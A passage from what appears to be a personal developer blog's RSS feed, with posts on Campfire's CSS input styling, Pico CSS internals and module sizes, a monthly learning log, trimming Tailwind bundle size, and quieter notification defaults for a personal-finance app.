<p>I messed with the <code>mask-*</code> properties, and while <code>mask-origin</code> sounded promising, it still ended up masking out the border. With border widths defined in variables and additional masks, this felt doable, but I stopped because it felt complex and brittle.</p>
<p>Studying campfire's <code>inputs.css</code>, their approach is to style the wrapper like an input, and hide an input's styling when it's within a wrapper. Input styling is defined by <code>.input</code> and a wrapper acting as an input is an <code>.input--actor</code>.</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">input input--actor</span>" <span class="pl-c1">style</span>="<span class="pl-s">display: flex; gap: 1ch</span>"<span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">span</span> <span class="pl-c1">class</span>="<span class="pl-s">icon icon--search</span>"<span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">span</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">input</span> <span class="pl-c1">type</span>="<span class="pl-s">search</span>" <span class="pl-c1">class</span>="<span class="pl-s">input</span>" <span class="pl-kos">/&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span></pre></div>
<p>The clever bits here were</p>
<ol>
<li>adding input border, outlines, focus states on the wrapper with <code>.input</code> 2. using a child selector to clear the actual <code>&lt;input&gt;</code> styling with css vars</li>
</ol>
<div class="highlight highlight-source-css"><pre><span class="pl-c">/* inputs.css */</span>
.<span class="pl-c1">input</span> {
  <span class="pl-c1">border</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">px</span></span> solid <span class="pl-en">var</span>(<span class="pl-s1">--input-border-color</span><span class="pl-kos">,</span> gray);
}

.<span class="pl-c1">input--actor</span> {
  <span class="pl-ent">&amp;</span> .<span class="pl-c1">input</span> {
    <span class="pl-c">/* hide when inside a wrapper acting as an input */</span>
    <span class="pl-s1">--input-border-color</span><span class="pl-kos">:</span> transparent;
  }
}</pre></div>
<p>Campfire wraps all of it's inputs with these classes, assuming input styling has been reset in <code>base.css</code>. But since I wanted to make incremental changes without breaking inputs on other pages, I didn't pull in their <code>base.css</code>. Even if I had, the base reset uses a <code>:where</code> selector with zero specificity that wouldn't override my <code>input[type=search]</code> styling. I was impressed that campfire's stylesheets are self-contained and could be added to my project without overriding my styles.</p>
<div class="markdown-heading"><h2 class="heading-element">Take aways</h2><a id="user-content-take-aways" class="anchor" aria-label="Permalink: Take aways" href="#take-aways"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>Think decoratively. What variables and fallbacks do I need?</li>
<li>Undo-ing styles is a smell that suggests a missing css variable.</li>
<li>Zero specificity <code>:where</code> for reset and base styling</li>
<li>Define and redefine colors based on light / dark mode like <code>--lch-blue</code>
</li>
<li>Define named semantic colors like <code>--color-link</code> that depend on varying lch variables</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Reference</h2><a id="user-content-reference" class="anchor" aria-label="Permalink: Reference" href="#reference"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li><a href="https://dev.37signals.com/modern-css-patterns-and-techniques-in-campfire/" rel="nofollow">Modern CSS patterns in Campfire</a></li>
<li><a href="https://github.com/basecamp/once-campfire">Campfire</a></li>
<li><a href="https://github.com/basecamp/fizzy">Fizzy</a></li>
<li><a href="https://github.com/rails/propshaft/pull/7">Propshaft #7: Add digest to valid urls in assets</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/mask" rel="nofollow">MDN: mask</a></li>
</ul>
  ]]></description>
</item>

<item>
  <title>Pico CSS notes</title>
  <link>https://jch.github.io/posts/2026-02-24-picocss.html
</link>
  <guid>https://jch.github.io/posts/2026-02-24-picocss.html
</guid>
  <pubDate>Tue, 24 Feb 2026 00:00:00 -0800</pubDate>
  <description><![CDATA[
<ul>
<li><a href="#user-content-introduction">Introduction</a></li>
<li><a href="#user-content-modules">Modules</a></li>
<li><a href="#user-content-minimal-reset">Minimal reset</a></li>
<li><a href="#user-content-customization-with-css-variables">Customization with CSS variables</a></li>
<li><a href="#user-content-low-specificity-defaults">Low specificity defaults</a></li>
<li><a href="#user-content-responsiveness">Responsiveness</a></li>
<li><a href="#user-content-icons">Icons</a></li>
<li><a href="#user-content-conclusion">Conclusion</a></li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Introduction</h2><a id="user-content-introduction" class="anchor" aria-label="Permalink: Introduction" href="#introduction"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<blockquote>
<p><em>A minimalist and lightweight starter kit that prioritizes semantic syntax, making every HTML element responsive and elegant by default.</em>
<em>Write HTML, Add Pico CSS, and Voilà!</em></p>
<p>— <a href="https://picocss.com/" rel="nofollow">picocss.com</a></p>
</blockquote>
<p>I've used this project for prototyping and some personal projects I haven't published. It lets me start with something beautiful without the distraction of setting up a design system. Up till now, I've used it by referencing the full source via CDN, but I wanted to dig into its internals and learn how it works.</p>
<p>After installing npm, sass, and pico v2.1.1, I tested it with the default options:</p>
<div class="highlight highlight-source-css-scss"><pre><span class="pl-c"><span class="pl-c">//</span> main.scss</span>
<span class="pl-k">@use</span> <span class="pl-v">pico</span>;</pre></div>
<p>Compiled with:</p>
<div class="highlight highlight-source-shell"><pre>npx sass --load-path=node_modules/@picocss/pico/scss main.scss main.css</pre></div>
<p>The primary way to customize pico is via CSS variables, but sass allows customization at the compilation step. This allows you to choose a theme color, compile without css classes, change the css variable prefix, and ignore modules to reduce bundle size.</p>
<div class="markdown-heading"><h2 class="heading-element">Modules</h2><a id="user-content-modules" class="anchor" aria-label="Permalink: Modules" href="#modules"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The descriptive module names preview what they're used for. I wanted to see the size of each of the modules after compilation. I took the default options from the docs and disabled every module. Compiling that outputs no CSS selectors and a copyright comment on the top. This serves as the baseline size.</p>
<p>Next I prompted Claude Sonnet 4.6 with</p>
<ol>
<li>Enable each module one at a time</li>
<li>run npx sass --load-path=node_modules/@picocss/pico/scss main.scss with-module-XX.css replacing XX with module name</li>
<li>diff with previous and get the character count</li>
<li>add a comment to final main.css with the difference in size and description of what the module does</li>
</ol>
<p>The annotated listing is:</p>
<div class="highlight highlight-source-css-scss"><pre><span class="pl-c"><span class="pl-c">//</span> main.scss</span>
<span class="pl-k">@use</span> <span class="pl-s"><span class="pl-pds">"</span>pico<span class="pl-pds">"</span></span> <span class="pl-k">with</span> (
  <span class="pl-v">$theme-color</span>: <span class="pl-s"><span class="pl-pds">"</span>yellow<span class="pl-pds">"</span></span>,
  <span class="pl-v">$modules</span>: (
    <span class="pl-c"><span class="pl-c">//</span> Themes</span>
    <span class="pl-s"><span class="pl-pds">"</span>themes/default<span class="pl-pds">"</span></span>: false,         <span class="pl-c"><span class="pl-c">//</span> +8106 — breakpoints, responsive typography, and color palette</span>

    <span class="pl-c"><span class="pl-c">//</span> Layout</span>
    <span class="pl-s"><span class="pl-pds">"</span>layout/document<span class="pl-pds">"</span></span>: false,       <span class="pl-c"><span class="pl-c">//</span> +756  — html/body resets: box-sizing, scrollbar, font-size, line-height</span>
    <span class="pl-s"><span class="pl-pds">"</span>layout/landmarks<span class="pl-pds">"</span></span>: false,      <span class="pl-c"><span class="pl-c">//</span> +317  — semantic sectioning: header, main, footer, aside padding/margin</span>
    <span class="pl-s"><span class="pl-pds">"</span>layout/container<span class="pl-pds">"</span></span>: false,      <span class="pl-c"><span class="pl-c">//</span> +612  — .container max-width centering with responsive breakpoints</span>
    <span class="pl-s"><span class="pl-pds">"</span>layout/section<span class="pl-pds">"</span></span>: false,        <span class="pl-c"><span class="pl-c">//</span> +213  — section vertical padding and spacing</span>
    <span class="pl-s"><span class="pl-pds">"</span>layout/grid<span class="pl-pds">"</span></span>: false,           <span class="pl-c"><span class="pl-c">//</span> +454  — CSS grid helper: .grid equal-column responsive layout</span>
    <span class="pl-s"><span class="pl-pds">"</span>layout/overflow-auto<span class="pl-pds">"</span></span>: false,  <span class="pl-c"><span class="pl-c">//</span> +87   — overflow-auto wrapper for horizontal scroll</span>

    <span class="pl-c"><span class="pl-c">//</span> Content</span>
    <span class="pl-s"><span class="pl-pds">"</span>content/link<span class="pl-pds">"</span></span>: false,          <span class="pl-c"><span class="pl-c">//</span> +2144 — &lt;a&gt; color, underline, hover/focus styles incl. role=button</span>
    <span class="pl-s"><span class="pl-pds">"</span>content/typography<span class="pl-pds">"</span></span>: false,    <span class="pl-c"><span class="pl-c">//</span> +4742 — headings h1–h6, p, ul/ol/dl, blockquote, strong, em, mark, del</span>
    <span class="pl-s"><span class="pl-pds">"</span>content/embedded<span class="pl-pds">"</span></span>: false,      <span class="pl-c"><span class="pl-c">//</span> +441  — img, svg, video, canvas max-width and responsive sizing</span>
    <span class="pl-s"><span class="pl-pds">"</span>content/button<span class="pl-pds">"</span></span>: false,        <span class="pl-c"><span class="pl-c">//</span> +7304 — &lt;button&gt; and input[type=submit/reset/button] full styling</span>
    <span class="pl-s"><span class="pl-pds">"</span>content/table<span class="pl-pds">"</span></span>: false,         <span class="pl-c"><span class="pl-c">//</span> +1244 — &lt;table&gt;, thead, tbody, tfoot, tr, th, td, overflow-auto</span>
    <span class="pl-s"><span class="pl-pds">"</span>content/code<span class="pl-pds">"</span></span>: false,          <span class="pl-c"><span class="pl-c">//</span> +1603 — &lt;code&gt;, &lt;pre&gt;, &lt;kbd&gt;, &lt;samp&gt; monospace and block styles</span>
    <span class="pl-s"><span class="pl-pds">"</span>content/figure<span class="pl-pds">"</span></span>: false,        <span class="pl-c"><span class="pl-c">//</span> +195  — &lt;figure&gt; margin/padding and &lt;figcaption&gt; muted color</span>
    <span class="pl-s"><span class="pl-pds">"</span>content/misc<span class="pl-pds">"</span></span>: false,          <span class="pl-c"><span class="pl-c">//</span> +282  — &lt;hr&gt;, &lt;abbr&gt;, &lt;dialog&gt;, &lt;template&gt;, &lt;details&gt;/&lt;summary&gt;</span>

    <span class="pl-c"><span class="pl-c">//</span> Forms</span>
    <span class="pl-s"><span class="pl-pds">"</span>forms/basics<span class="pl-pds">"</span></span>: true,          <span class="pl-c"><span class="pl-c">//</span> +14186 — input, textarea, select, fieldset, label full form system</span>
    <span class="pl-s"><span class="pl-pds">"</span>forms/checkbox-radio-switch<span class="pl-pds">"</span></span>: false, <span class="pl-c"><span class="pl-c">//</span> +6240 — styled checkboxes, radio buttons, and toggle switches</span>
    <span class="pl-s"><span class="pl-pds">"</span>forms/input-color<span class="pl-pds">"</span></span>: false,     <span class="pl-c"><span class="pl-c">//</span> +373  — &lt;input type=color&gt; sizing and border styles</span>
    <span class="pl-s"><span class="pl-pds">"</span>forms/input-date<span class="pl-pds">"</span></span>: false,      <span class="pl-c"><span class="pl-c">//</span> +2221 — date/time/week/month input styles and calendar icon</span>
    <span class="pl-s"><span class="pl-pds">"</span>forms/input-file<span class="pl-pds">"</span></span>: false,      <span class="pl-c"><span class="pl-c">//</span> +896  — &lt;input type=file&gt; custom file picker button styles</span>
    <span class="pl-s"><span class="pl-pds">"</span>forms/input-range<span class="pl-pds">"</span></span>: false,     <span class="pl-c"><span class="pl-c">//</span> +3287 — &lt;input type=range&gt; track, thumb, and focus styles</span>
    <span class="pl-s"><span class="pl-pds">"</span>forms/input-search<span class="pl-pds">"</span></span>: false,    <span class="pl-c"><span class="pl-c">//</span> +1730 — &lt;input type=search&gt; clear button and search icon styles</span>

    <span class="pl-c"><span class="pl-c">//</span> Components</span>
    <span class="pl-s"><span class="pl-pds">"</span>components/accordion<span class="pl-pds">"</span></span>: false,  <span class="pl-c"><span class="pl-c">//</span> +3248 — &lt;details&gt;/&lt;summary&gt; accordion animation and chevron icon</span>
    <span class="pl-s"><span class="pl-pds">"</span>components/card<span class="pl-pds">"</span></span>: false,       <span class="pl-c"><span class="pl-c">//</span> +2105 — .card with padding, background, border-radius, shadow</span>
    <span class="pl-s"><span class="pl-pds">"</span>components/dropdown<span class="pl-pds">"</span></span>: false,   <span class="pl-c"><span class="pl-c">//</span> +7139 — &lt;details role=list&gt; dropdown menu with positioning and animation</span>
    <span class="pl-s"><span class="pl-pds">"</span>components/group<span class="pl-pds">"</span></span>: false,      <span class="pl-c"><span class="pl-c">//</span> +6565 — .group for inline button+input combos with joined borders</span>
    <span class="pl-s"><span class="pl-pds">"</span>components/loading<span class="pl-pds">"</span></span>: false,    <span class="pl-c"><span class="pl-c">//</span> +2559 — [aria-busy=true] spinning loader with CSS animation</span>
    <span class="pl-s"><span class="pl-pds">"</span>components/modal<span class="pl-pds">"</span></span>: false,      <span class="pl-c"><span class="pl-c">//</span> +3794 — &lt;dialog&gt; modal overlay, transitions, close button</span>
    <span class="pl-s"><span class="pl-pds">"</span>components/nav<span class="pl-pds">"</span></span>: false,        <span class="pl-c"><span class="pl-c">//</span> +2910 — &lt;nav&gt; with breadcrumb, pagination, and link list styles</span>
    <span class="pl-s"><span class="pl-pds">"</span>components/progress<span class="pl-pds">"</span></span>: false,   <span class="pl-c"><span class="pl-c">//</span> +1873 — &lt;progress&gt; bar with fill color and animation</span>
    <span class="pl-s"><span class="pl-pds">"</span>components/tooltip<span class="pl-pds">"</span></span>: false,    <span class="pl-c"><span class="pl-c">//</span> +5366 — [data-tooltip] attribute-based tooltip with arrow</span>

    <span class="pl-c"><span class="pl-c">//</span> Utilities</span>
    <span class="pl-s"><span class="pl-pds">"</span>utilities/accessibility<span class="pl-pds">"</span></span>: false, <span class="pl-c"><span class="pl-c">//</span> +459 — .visually-hidden / [hidden] and focus-visible helpers</span>
    <span class="pl-s"><span class="pl-pds">"</span>utilities/reduce-motion<span class="pl-pds">"</span></span>: false  <span class="pl-c"><span class="pl-c">//</span> +490 — prefers-reduced-motion: disables transitions and animations</span>
  )
);</pre></div>
<p>The docs mention a lightweight version without classes and uncommon components is about ~50% smaller. I compared the full with light and came up with:</p>
<div class="highlight highlight-source-shell"><pre>$ wc -c full.css light.css 
 91913 full.css
 48315 light.css</pre></div>
<div class="markdown-heading"><h2 class="heading-element">Minimal reset</h2><a id="user-content-minimal-reset" class="anchor" aria-label="Permalink: Minimal reset" href="#minimal-reset"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Resets are grouped with their respective components. The document level resets are pretty minimal.</p>
<div class="highlight highlight-source-css-scss"><pre><span class="pl-c"><span class="pl-c">//</span> scss/layout/_document.scss</span>
<span class="pl-k">@use</span> <span class="pl-s"><span class="pl-pds">"</span>sass:map<span class="pl-pds">"</span></span>;
<span class="pl-k">@use</span> <span class="pl-s"><span class="pl-pds">"</span>../settings<span class="pl-pds">"</span></span> <span class="pl-k">as</span> <span class="pl-c1">*</span>;

<span class="pl-k">@if</span> <span class="pl-v">map</span>.<span class="pl-c1">get</span>(<span class="pl-v">$modules</span>, <span class="pl-s"><span class="pl-pds">"</span>layout/document<span class="pl-pds">"</span></span>) {
  <span class="pl-c"><span class="pl-c">/*</span>*</span>
<span class="pl-c">   * Document</span>
<span class="pl-c">   * Content-box &amp; Responsive typography</span>
<span class="pl-c">   <span class="pl-c">*/</span></span>

  <span class="pl-c"><span class="pl-c">//</span> Reboot based on :</span>
  <span class="pl-c"><span class="pl-c">//</span> - normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css</span>
  <span class="pl-c"><span class="pl-c">//</span> - sanitize.css v13.0.0 | CC0 1.0 Universal | github.com/csstools/sanitize.css</span>
  <span class="pl-c"><span class="pl-c">//</span> ––––––––––––––––––––</span>

  <span class="pl-c"><span class="pl-c">//</span> 1. Add border box sizing in all browsers (opinionated)</span>
  <span class="pl-c"><span class="pl-c">//</span> 2. Backgrounds do not repeat by default (opinionated)</span>
  <span class="pl-ent">*</span>,
  <span class="pl-ent">*</span><span class="pl-e">::before</span>,
  <span class="pl-ent">*</span><span class="pl-e">::after</span> {
    <span class="pl-c1"><span class="pl-c1">box-sizing</span></span>: <span class="pl-c1">border-box</span>; <span class="pl-c"><span class="pl-c">//</span> 1</span>
    <span class="pl-c1"><span class="pl-c1">background-repeat</span></span>: <span class="pl-c1">no-repeat</span>; <span class="pl-c"><span class="pl-c">//</span> 2</span>
  }

  <span class="pl-c"><span class="pl-c">//</span> 1. Add text decoration inheritance in all browsers (opinionated)</span>
  <span class="pl-c"><span class="pl-c">//</span> 2. Add vertical alignment inheritance in all browsers (opinionated)</span>
  <span class="pl-e">::before</span>,
  <span class="pl-e">::after</span> {
    <span class="pl-c1"><span class="pl-c1">text-decoration</span></span>: <span class="pl-c1">inherit</span>; <span class="pl-c"><span class="pl-c">//</span> 1</span>
    <span class="pl-c1"><span class="pl-c1">vertical-align</span></span>: <span class="pl-c1">inherit</span>; <span class="pl-c"><span class="pl-c">//</span> 2</span>
  }

  <span class="pl-c"><span class="pl-c">//</span> 1. Change the line height in all browsers (opinionated)</span>
  <span class="pl-c"><span class="pl-c">//</span> 2. Breaks words to prevent overflow in all browsers (opinionated)</span>
  <span class="pl-c"><span class="pl-c">//</span> 3. Use a 4-space tab width in all browsers (opinionated)</span>
  <span class="pl-c"><span class="pl-c">//</span> 4. Remove the grey highlight on links in iOS (opinionated)</span>
  <span class="pl-c"><span class="pl-c">//</span> 5. Prevent adjustments of font size after orientation changes in iOS</span>
  :<span class="pl-c1">where</span>(<span class="pl-v">:root</span>),
  :<span class="pl-c1">where</span>(<span class="pl-v">:host</span>) {
    <span class="pl-c1">-webkit-tap-highlight-color</span>: <span class="pl-c1">transparent</span>; <span class="pl-c"><span class="pl-c">//</span> 4</span>
    <span class="pl-c1"><span class="pl-c1">-webkit-text-size-adjust</span></span>: <span class="pl-c1">100<span class="pl-k">%</span></span>; <span class="pl-c"><span class="pl-c">//</span> 5</span>
    <span class="pl-c1"><span class="pl-c1">text-size-adjust</span></span>: <span class="pl-c1">100<span class="pl-k">%</span></span>; <span class="pl-c"><span class="pl-c">//</span> 5</span>
    <span class="pl-c1"><span class="pl-c1">background-color</span></span>: <span class="pl-c1">var</span>(<span class="pl-v">#{<span class="pl-v">$css-var-prefix</span>}</span><span class="pl-c1">background-color</span>);
    <span class="pl-c1"><span class="pl-c1">color</span></span>: <span class="pl-c1">var</span>(<span class="pl-v">#{<span class="pl-v">$css-var-prefix</span>}</span><span class="pl-c1">color</span>);
    <span class="pl-c1"><span class="pl-c1">font-weight</span></span>: <span class="pl-c1">var</span>(<span class="pl-v">#{<span class="pl-v">$css-var-prefix</span>}</span><span class="pl-c1">font-weight</span>);
    <span class="pl-c1"><span class="pl-c1">font-size</span></span>: <span class="pl-c1">var</span>(<span class="pl-v">#{<span class="pl-v">$css-var-prefix</span>}</span><span class="pl-c1">font-size</span>);
    <span class="pl-c1"><span class="pl-c1">line-height</span></span>: <span class="pl-c1">var</span>(<span class="pl-v">#{<span class="pl-v">$css-var-prefix</span>}</span><span class="pl-c1">line-height</span>); <span class="pl-c"><span class="pl-c">//</span> 1</span>
    <span class="pl-c1"><span class="pl-c1">font-family</span></span>: <span class="pl-c1">var</span>(<span class="pl-v">#{<span class="pl-v">$css-var-prefix</span>}</span><span class="pl-c1">font-family</span>);
    <span class="pl-c1"><span class="pl-c1">text-underline-offset</span></span>: <span class="pl-c1">var</span>(<span class="pl-v">#{<span class="pl-v">$css-var-prefix</span>}</span><span class="pl-c1">text-underline-offset</span>);
    <span class="pl-c1"><span class="pl-c1">text-rendering</span></span>: <span class="pl-c1">optimizeLegibility</span>;
    <span class="pl-c1"><span class="pl-c1">overflow-wrap</span></span>: <span class="pl-c1">break-word</span>; <span class="pl-c"><span class="pl-c">//</span> 2</span>
    <span class="pl-c1"><span class="pl-c1">tab-size</span></span>: <span class="pl-c1">4</span>; <span class="pl-c"><span class="pl-c">//</span> 3</span>
  }
}</pre></div>
<div class="markdown-heading"><h2 class="heading-element">Customization with CSS variables</h2><a id="user-content-customization-with-css-variables" class="anchor" aria-label="Permalink: Customization with CSS variables" href="#customization-with-css-variables"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>By using CSS variables for customization, the applied styles are evaluated when the element is about to be rendered. This simplifies reasoning about which rule is being applied. This also makes the source files agnostic to file load order during compilation. It's ok for components to depend on variables that haven't been defined yet because they aren't used until "runtime" (at the time of render).</p>
<p>When I browsed components through the web inspector, I found the cascade levels to be shallow and easy to reason about.</p>
<div class="markdown-heading"><h2 class="heading-element">Low specificity defaults</h2><a id="user-content-low-specificity-defaults" class="anchor" aria-label="Permalink: Low specificity defaults" href="#low-specificity-defaults"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><code>:where</code> is used to set defaults with zero specificity. This means any other style definition (element, id, class, inline) would override it.</p>
<p>An example for links:</p>
<div class="highlight highlight-source-css"><pre><span class="pl-c">/*</span>
<span class="pl-c">// matches</span>
<span class="pl-c">&lt;a&gt;Link&lt;/a&gt;</span>
<span class="pl-c">&lt;button role="link"&gt;Something&lt;/button&gt;</span>
<span class="pl-c"></span>
<span class="pl-c">// doesn't match</span>
<span class="pl-c">&lt;a role="button"&gt;&lt;/a&gt;</span>
<span class="pl-c">*/</span>
<span class="pl-kos">:</span><span class="pl-c1">where</span>(<span class="pl-ent">a</span><span class="pl-kos">:</span><span class="pl-c1">not</span>([<span class="pl-c1">role</span><span class="pl-c1">=</span><span class="pl-s">button</span>]))<span class="pl-kos">,</span>
[<span class="pl-c1">role</span><span class="pl-c1">=</span><span class="pl-s">link</span>] {
  <span class="pl-s1">--pico-color</span><span class="pl-kos">:</span> <span class="pl-en">var</span>(<span class="pl-s1">--pico-primary</span>);
  <span class="pl-s1">--pico-background-color</span><span class="pl-kos">:</span> transparent;
  <span class="pl-s1">--pico-underline</span><span class="pl-kos">:</span> <span class="pl-en">var</span>(<span class="pl-s1">--pico-primary-underline</span>);
  <span class="pl-c">/* ... */</span>
}</pre></div>
<p>0 specificity <code>:where(:root)</code> is also used for document level resets shown in the listing above.</p>
<div class="markdown-heading"><h2 class="heading-element">Responsiveness</h2><a id="user-content-responsiveness" class="anchor" aria-label="Permalink: Responsiveness" href="#responsiveness"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>There are px defined breakpoints and typography variables are scaled for readability. I like this default for prose, but find it looks cartoonish when interfaces with more forms and app components. The breakpoints can be customized, and there are default ratios defined for font scaling. The same is true for spacing.</p>
<div class="markdown-heading"><h2 class="heading-element">Icons</h2><a id="user-content-icons" class="anchor" aria-label="Permalink: Icons" href="#icons"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>There are a handful of svg icons directly embedded into the CSS. A magnifying glass for search, a normalized downward caret for dropdowns for example. I like how these are inlined to avoid additional setup for assets, and also makes them cached alongside the CSS.</p>
<div class="markdown-heading"><h2 class="heading-element">Conclusion</h2><a id="user-content-conclusion" class="anchor" aria-label="Permalink: Conclusion" href="#conclusion"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>What draws me to this project is being able to write semantic HTML with beautiful defaults. Reading the source also gives me an appreciation for how to customize and extend pico.</p>
  ]]></description>
</item>

<item>
  <title>December 2025</title>
  <link>https://jch.github.io/posts/2025-12-12-december.html
</link>
  <guid>https://jch.github.io/posts/2025-12-12-december.html
</guid>
  <pubDate>Fri, 12 Dec 2025 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>What I’m learning and building</p>
<p><strong>Learning</strong></p>
<ul>
<li>
<a href="https://youtu.be/vvPklRN0Tco?si=b7ajyUXefS83IG7-" rel="nofollow">The Easy Way to Pick UI Colors</a>. <a href="https://www.youtube.com/@whosajid" rel="nofollow">Sajid</a>. Good refresher on Refactoring UI book concepts.</li>
<li>
<a href="https://www.youtube.com/watch?v=8xJzHq8ru0M" rel="nofollow">Phoenix LiveView - Interactive Apps without Javascript - ElixirConf EU 2019</a>. <a href="https://www.youtube.com/watch?v=FADQAnq0RpA" rel="nofollow">The Road To LiveView 1.0</a>. Chris McCord. A change in programming model. RPC hiding HTTP request-response over the network. Hotwire Turbo works are a coarser granularity (partials, pages) than LiveView (props). Similar goals of better abstraction of managing client-side state.</li>
<li>Apple Developer Design Guidelines. Thinking in terms of components and semantics. SwiftUI as declarative ui. Applying different constraints and details on different platforms. Instead of "write once, run everywhere", "learn once, and apply appropriately". Media query and web components are web analogs, but without enough constraints. Reactive prop system under <a href="https://github.com/tc39/proposal-signals?tab=readme-ov-file">Signals proposal</a>. Done today via libraries (react, svelte)</li>
<li>Svelte. Reactive props, templates feel like html.</li>
</ul>
<p><strong>Building</strong></p>
<ul>
<li>Tags checkbox filtering with pills. No confusion which label associated with checkbox</li>
<li>Collapsible search box. Semantic and self contained. Use :focus-within and :placeholder-shown with css animations. Mobile viewport too narrow, hiding title doesn’t work with a nested :not. :before pseudo element doesn’t work on self-closing tags for adding an icon in a search input.</li>
<li>Dark mode with tailwind dark: utility. CSS variables to constrain permutations. Do we actually need a text-quiet and text-quieter?</li>
</ul>
  ]]></description>
</item>

<item>
  <title>Reducing Tailwind asset size</title>
  <link>https://jch.github.io/posts/2025-11-20-tailwind-diet.html
</link>
  <guid>https://jch.github.io/posts/2025-11-20-tailwind-diet.html
</guid>
  <pubDate>Thu, 20 Nov 2025 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>I consolidated the form and typography styling I was using across <a href="https://jch.app" rel="nofollow">jch.app</a>
and reduced the stylesheet bundle size 56% from 156kb to 68k. There's more room to trim
from the default reset and utility classes, but this felt like a good stopping place.</p>
<pre><code>$ find public -name '*.css' | xargs du -sh | sort -n

# Baseline 2058e695fa2cac93a48520e85f6ae6d4f2846345
4.0K	public/assets/application.tailwind-2569b4b8.css
156K	public/assets/tailwind-1836982c.css

# After removing @tailwindcss/forms 513a0b726ab6a99ea5d5c59a4fc41178546d214d
8.0K	public/assets/application.tailwind-18ab7e13.css
 88K	public/assets/tailwind-44187fa0.css

# After removing @tailwindcss/typography
8.0K  public/assets/application.tailwind-89bca1fa.css
 68K  public/assets/tailwind-59d86ce3.css
</code></pre>
  ]]></description>
</item>

<item>
  <title>Quiet, but discoverable</title>
  <link>https://jch.github.io/posts/2025-10-07-notifications-quiet-default.html
</link>
  <guid>https://jch.github.io/posts/2025-10-07-notifications-quiet-default.html
</guid>
  <pubDate>Tue, 07 Oct 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>When a new iOS lands, a handful of features are highlighted after the phone restarts. The majority of changes are slowly discovered over several days; Frequently delightful like finding spare change in the couch, sometimes gross like finding stale cereal in the couch.</p>
<p>The most common interactions do not justify additional explanations. Take the new liquid glass UI: I use it based on previous experience with touch interfaces and the subtle animations like sliding across a toggle are enough to teach me new behavior. Bigger changes like hiding unknown senders in Messages warrant a popup the first time, and offer a way to switch back to previous behavior. Mail also did this with Categories by offering to go back to having everything in one list.</p>
<p>I've found the best experiences to have sane defaults, combined with quiet discoverable hints to deeper capabilities. It's like how in school, we were taught to "show, not tell" when writing. Yet even recognizing the experiences I prefer, I'm guilty of creating things that explain the obvious, bury the point, and complicate things needlessly.</p>
<p>Here are a couple recent examples.</p>
<div class="markdown-heading"><h2 class="heading-element">Notifications</h2><a id="user-content-notifications" class="anchor" aria-label="Permalink: Notifications" href="#notifications"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>When I built the weekly and monthly digest notifications for <a href="https://jch.app" rel="nofollow">jch.app</a>, I defaulted them enabled thinking it would make them more discoverable. These emails are meant to be a skimmable summary. Roughly 10% of users open emails, about 1% of users click a link to see additional details. 90% of the time, people don't want them. For these users, the best case is the emails are sent to a hidden mailbox, and the worst case is they have to actively click on an unsubscribe link. Having the correct Unsubscribe-List header makes this easier in mail clients, but it's still a mindless task that users shouldn't need to do.</p>
<p>So I've decided to default notifications off for new users. In 2007, notifications were new enough to justify as a highlighted feature. In 2025, they should be behind settings and turned on if useful.</p>
<p>Why keep notifications at all if only 10% of users use it? Well, they happen to be the most active users, even the ones who never click within the emails. Selfishly, I also like the weekly summmary at the end of the week, so I imagine there are some similar minded people. The feature is useful, just not one that needs to be on when someone starts using the app. It should be a discovered feature, not an enabled default.</p>
<div class="markdown-heading"><h2 class="heading-element">Landing page</h2><a id="user-content-landing-page" class="anchor" aria-label="Permalink: Landing page" href="#landing-page"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I was proud of the first iteration of my landing page. It was a simple fast page, with screenshots to preview the app, and prose to explain why someone would want to use it. There's a clear call to action that lets people try out a demo. Here's what it used to look like:</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/old_landing.png"><img src="/images/old_landing.png" alt="" style="max-width: 100%;"></a></p>
<p>I'm not sure how to measure whether visitors read the prose, but most of my traffic comes from financial-indepence and personal-finance enthusiasts. Users either land in the demo page, then navigate back to learn more, or create an account from the demo page directly. The FAQ is valuable when people want to learn more, but the screenshots weren't necessary because visitors either already previewed the app, or could do so with the "Try it now" button. Here's the new landing page:</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/new_landing.png"><img src="/images/new_landing.png" alt="" style="max-width: 100%;"></a></p>
<p>For most visitors, there are a few familiar keywords, and a prominent <code>Start &gt;</code> link to jump into the app. I'm not playing the SEO game, and I'd lose even if I tried. For people who want to learn more, the content is just below the fold. Is this too minimal? I'll experiment and tweak to see.</p>
<div class="markdown-heading"><h2 class="heading-element">Other defaults?</h2><a id="user-content-other-defaults" class="anchor" aria-label="Permalink: Other defaults?" href="#other-defaults"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>It takes time to understand new interfaces and patterns, so it makes sense to stick with something familiar and gradually ease into better designs.</p>
<p>What else have we become accustomed to, but either no longer need or have better alternatives? (registrations? passwords, notifications) What used to be reasonable defaults, but are now mindless nuisances? (3rd party cookie popups, ask app not to track, notifications, dark mode perhaps?)</p>
  ]]></description>
</item>

<item>
